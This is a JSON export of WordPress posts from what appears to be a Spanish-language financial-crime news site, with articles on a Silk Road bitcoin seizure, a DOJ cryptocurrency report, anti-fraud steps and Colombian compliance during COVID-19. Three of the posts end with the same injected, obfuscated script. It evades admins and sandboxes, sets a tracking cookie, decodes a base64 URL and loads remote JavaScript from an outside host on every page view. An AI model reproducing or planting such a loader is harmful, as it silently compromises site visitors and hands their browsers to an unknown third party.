cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o 